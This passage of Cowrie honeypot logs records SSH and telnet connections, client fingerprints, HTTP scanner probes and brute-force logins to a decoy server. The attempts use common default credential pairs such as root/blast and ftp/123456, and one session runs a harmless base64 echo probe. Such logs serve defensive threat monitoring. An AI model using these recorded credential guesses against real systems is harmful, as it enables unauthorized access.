03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.118972Z","src_ip":"15.204.58.181","session":"a7efc339e22a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.441131Z","src_ip":"15.204.58.181","session":"a7efc339e22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.513405Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.518252Z","src_ip":"15.204.58.181","session":"a7efc339e22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a9592e5938","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 24a9592e5938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:19:57.297471Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:19:57.406649Z","src_ip":"77.90.185.16","session":"24a9592e5938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":58846,"dst_ip":"159.203.135.109","dst_port":22,"session":"a09f06a8a0be","protocol":"ssh","message":"New connection: 85.198.97.85:58846 (159.203.135.109:22) [session: a09f06a8a0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:46.625345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:46.629610Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:46.761664Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"blast","message":"login attempt [root/blast] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:47.160953Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:47.464725Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:47.467994Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:47.603410Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:27:47.609208Z","src_ip":"85.198.97.85","session":"a09f06a8a0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":17905,"dst_ip":"10.17.0.5","dst_port":22,"session":"30becd16db18","protocol":"ssh","message":"New connection: 193.46.255.86:17905 (10.17.0.5:22) [session: 30becd16db18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:11.009142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:11.013618Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:11.145093Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:11.736214Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:12.869784Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345","message":"login attempt [ftp/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:14.004335Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:15.138574Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"abc123","message":"login attempt [ftp/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:16.351375Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:29:17.485283Z","src_ip":"193.46.255.86","session":"30becd16db18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f628d4f9f1e","protocol":"telnet","message":"New connection: 3.130.168.2:56570 (10.17.0.5:23) [session: 1f628d4f9f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:33:58.705134Z"}
{"eventid":"cowrie.session.closed","duration":0.032376766204833984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:33:58.737397Z","src_ip":"3.130.168.2","session":"1f628d4f9f1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":56584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2db05141954","protocol":"telnet","message":"New connection: 3.130.168.2:56584 (10.17.0.5:23) [session: b2db05141954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:33:58.757782Z"}
{"eventid":"cowrie.session.closed","duration":0.04772353172302246,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:33:58.805406Z","src_ip":"3.130.168.2","session":"b2db05141954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":46405,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1b938d0559","protocol":"telnet","message":"New connection: 122.116.6.195:46405 (10.17.0.5:23) [session: 1e1b938d0559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:19.431654Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"534a9e2df990","protocol":"telnet","message":"New connection: 122.116.6.195:46422 (10.17.0.5:23) [session: 534a9e2df990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:19.789966Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":46504,"dst_ip":"10.17.0.5","dst_port":23,"session":"0440a30279b6","protocol":"telnet","message":"New connection: 122.116.6.195:46504 (10.17.0.5:23) [session: 0440a30279b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:31.099406Z"}
{"eventid":"cowrie.session.closed","duration":33.12280082702637,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:52.912646Z","src_ip":"122.116.6.195","session":"534a9e2df990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":46468,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c5517d57a6","protocol":"telnet","message":"New connection: 122.116.6.195:46468 (10.17.0.5:23) [session: 87c5517d57a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:54.234474Z"}
{"eventid":"cowrie.session.closed","duration":0.007374286651611328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:34:54.241735Z","src_ip":"122.116.6.195","session":"87c5517d57a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.7037410736084,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:01.135312Z","src_ip":"122.116.6.195","session":"1e1b938d0559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72854804992676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:06.827826Z","src_ip":"122.116.6.195","session":"0440a30279b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":46731,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc878f5cb2f","protocol":"telnet","message":"New connection: 122.116.6.195:46731 (10.17.0.5:23) [session: 6bc878f5cb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:22.219931Z"}
{"eventid":"cowrie.session.closed","duration":0.4102628231048584,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:22.630067Z","src_ip":"122.116.6.195","session":"6bc878f5cb2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":47099,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3472e55a65","protocol":"telnet","message":"New connection: 122.116.6.195:47099 (10.17.0.5:23) [session: 3e3472e55a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:29.889300Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46598,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e4f87bf2235","protocol":"telnet","message":"New connection: 3.130.168.2:46598 (10.17.0.5:23) [session: 8e4f87bf2235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:37.389596Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:37.395236Z","src_ip":"3.130.168.2","session":"8e4f87bf2235","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:37.399915Z","src_ip":"3.130.168.2","session":"8e4f87bf2235","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:37.407191Z","src_ip":"3.130.168.2","session":"8e4f87bf2235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03729510307312012,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:37.426775Z","src_ip":"3.130.168.2","session":"8e4f87bf2235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":43532,"dst_ip":"159.203.135.109","dst_port":23,"session":"22396d5d79b6","protocol":"telnet","message":"New connection: 3.130.168.2:43532 (159.203.135.109:23) [session: 22396d5d79b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:41.429555Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:41.434905Z","src_ip":"3.130.168.2","session":"22396d5d79b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:41.438713Z","src_ip":"3.130.168.2","session":"22396d5d79b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:41.443823Z","src_ip":"3.130.168.2","session":"22396d5d79b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03490734100341797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:41.464315Z","src_ip":"3.130.168.2","session":"22396d5d79b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"d50b940066c6","protocol":"telnet","message":"New connection: 3.130.168.2:49138 (159.203.135.109:23) [session: d50b940066c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:45.198565Z"}
{"eventid":"cowrie.session.closed","duration":0.0309598445892334,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:35:45.229413Z","src_ip":"3.130.168.2","session":"d50b940066c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13303732872009,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:36:12.022209Z","src_ip":"122.116.6.195","session":"3e3472e55a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.6.195","src_port":47765,"dst_ip":"10.17.0.5","dst_port":23,"session":"dabe3ac3a7b4","protocol":"telnet","message":"New connection: 122.116.6.195:47765 (10.17.0.5:23) [session: dabe3ac3a7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:36:28.321263Z"}
{"eventid":"cowrie.session.closed","duration":43.25640559196472,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:11.577560Z","src_ip":"122.116.6.195","session":"dabe3ac3a7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46070,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe0eb8b5bf6f","protocol":"telnet","message":"New connection: 3.130.168.2:46070 (159.203.135.109:23) [session: fe0eb8b5bf6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:20.506265Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:20.510880Z","src_ip":"3.130.168.2","session":"fe0eb8b5bf6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:20.514203Z","src_ip":"3.130.168.2","session":"fe0eb8b5bf6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:20.517797Z","src_ip":"3.130.168.2","session":"fe0eb8b5bf6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03333854675292969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:20.539501Z","src_ip":"3.130.168.2","session":"fe0eb8b5bf6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":51104,"dst_ip":"10.17.0.5","dst_port":23,"session":"11069b87f31c","protocol":"telnet","message":"New connection: 3.130.168.2:51104 (10.17.0.5:23) [session: 11069b87f31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:40.736919Z"}
{"eventid":"cowrie.session.closed","duration":0.005672454833984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:37:40.742371Z","src_ip":"3.130.168.2","session":"11069b87f31c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.63.197.22","src_port":32244,"dst_ip":"10.17.0.5","dst_port":22,"session":"79b77ed61b94","protocol":"ssh","message":"New connection: 92.63.197.22:32244 (10.17.0.5:22) [session: 79b77ed61b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.468022Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","message":"Remote SSH version: \u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.472514Z","src_ip":"92.63.197.22","session":"79b77ed61b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.475333Z","src_ip":"92.63.197.22","session":"79b77ed61b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.63.197.22","src_port":32252,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba557bf61dc","protocol":"ssh","message":"New connection: 92.63.197.22:32252 (10.17.0.5:22) [session: 2ba557bf61dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.624074Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","message":"Remote SSH version: \u0003\u0000\u0000\u0013\u000e\\xe0\u0000\u0000\u0000\u0000\u0000\u0001\u0000\b\u0000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.629031Z","src_ip":"92.63.197.22","session":"2ba557bf61dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:38:45.632471Z","src_ip":"92.63.197.22","session":"2ba557bf61dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2d748d5f02","protocol":"telnet","message":"New connection: 3.130.168.2:47284 (10.17.0.5:23) [session: 7e2d748d5f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:39:12.387407Z"}
{"eventid":"cowrie.session.closed","duration":0.022785425186157227,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:39:12.410017Z","src_ip":"3.130.168.2","session":"7e2d748d5f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2859e2813404","protocol":"telnet","message":"New connection: 3.130.168.2:40364 (159.203.135.109:23) [session: 2859e2813404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:39:22.292396Z"}
{"eventid":"cowrie.session.closed","duration":0.007042884826660156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:39:22.299280Z","src_ip":"3.130.168.2","session":"2859e2813404","protocol":"telnet"}
